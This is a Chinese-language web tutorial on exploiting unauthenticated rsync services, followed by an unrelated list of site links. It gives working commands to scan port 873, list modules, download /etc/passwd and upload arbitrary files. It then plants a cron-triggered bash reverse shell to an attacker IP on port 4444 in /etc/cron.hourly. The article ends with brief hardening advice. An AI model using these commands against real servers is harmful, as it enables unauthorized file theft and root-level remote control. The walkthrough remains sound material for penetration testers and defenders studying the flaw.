rsync未授权访问
时间:2022-07-22
本文章向大家介绍rsync未授权访问,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
简介
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。 rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
rsync配置文件 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell。 我们具体来看配置文件的网相关选项(/etc/rsync.conf) 这一项read only表示只读,如果这一项为no,我们就具有写权限了。.
配置参数说明
motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。
利用方式
rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件
nmap扫描目标系统是否开放rsync服务
nmap -p 873 --script rsync-list-modules 目标IP
列出目标服务器的同步目录
rsync 192.168.1.100::
rsync rsync://192.168.1.100:873
//rsync ip::
//rsync rsync://ip:873
查看模块文件 获取到目录之后,只需在路径后添加目录名即可查看目录中的文件 该目标上有src目录 那我们就列src看看
rsync 192.168.0.113::src
可以看到成功列出src目录
下载任意目录文件
rsync -av 192.168.1.100::src/etc/passwd 路径
//rsync -av ip::src/路径
假设我要下载/etc/passwd文件到我的/opt/目录下
rsync -av 192.168.1.100::src/etc/passwd /opt/passwd.txt
查看passwd.txt文件
向目标系统上传任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径
反弹shell 1、下载cron定时任务配置文件并且查看任务内容
rsync -av rsync://192.168.1.100:873/src/etc/cron.hourly
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务
2、创建shell文件,写入反弹shell命令
touch shell
//文件写入反弹shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1
3、传入/etc/cron.hourly目录下 写入cron.hourly下文件的任务就会启动
rsync -av shell rsync://192.168.1.100:873/src/etc/cron.hourly
监听4444端口,等待17分钟之后,接收反弹shell
修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
渗透测试 红队攻防 免杀 权限维持 等等技术 及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!
- android SurfaceView绘制实现原理解析
- AbstractQueuedSynchronizer实现示例
- PyQt的一个UI单元测试框架思路
- Spring Cloud Zuul实现动态路由
- android应用资源预编译,编译和打包全解析
- Python优雅地dumps非标准类型
- html5标签基础
- 彻底搞懂Gradle、Gradle Wrapper与Android Plugin for Gradle的区别和联系
- 社会化分享
- Android真机安装sqlite3的方法
- 二次元世界的Linux—东方Project之B站掠影
- 带三方登录(qq,微信,微博)
- Android Studio移动鼠标显示悬浮提示的设置方法
- Spring Cloud构建微服务架构:服务注册与发现
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 第四章--第二节:类
- 教育平台项目后台管理系统:介绍与搭建
- Python办公自动化之Excel做表自动化:全网最全,看这一篇就够了!
- Java学习笔记-spring-Bean实例化
- Java学习笔记-spring-Bean作用于
- 教育平台项目后台管理系统:课程信息模块
- 教育平台项目后台管理系统:课程内容模块
- 100 个 Python 小例子
- Entity Framework初体验
- Entity Framework 小知识(一)
- 教育平台项目前端:Vue.js 入门
- Entity Framework 约定
- 浏览器中的跨域问题与 CORS
- Entity Framework 小知识(二)
- 教育平台项目前端:Vue.js 高级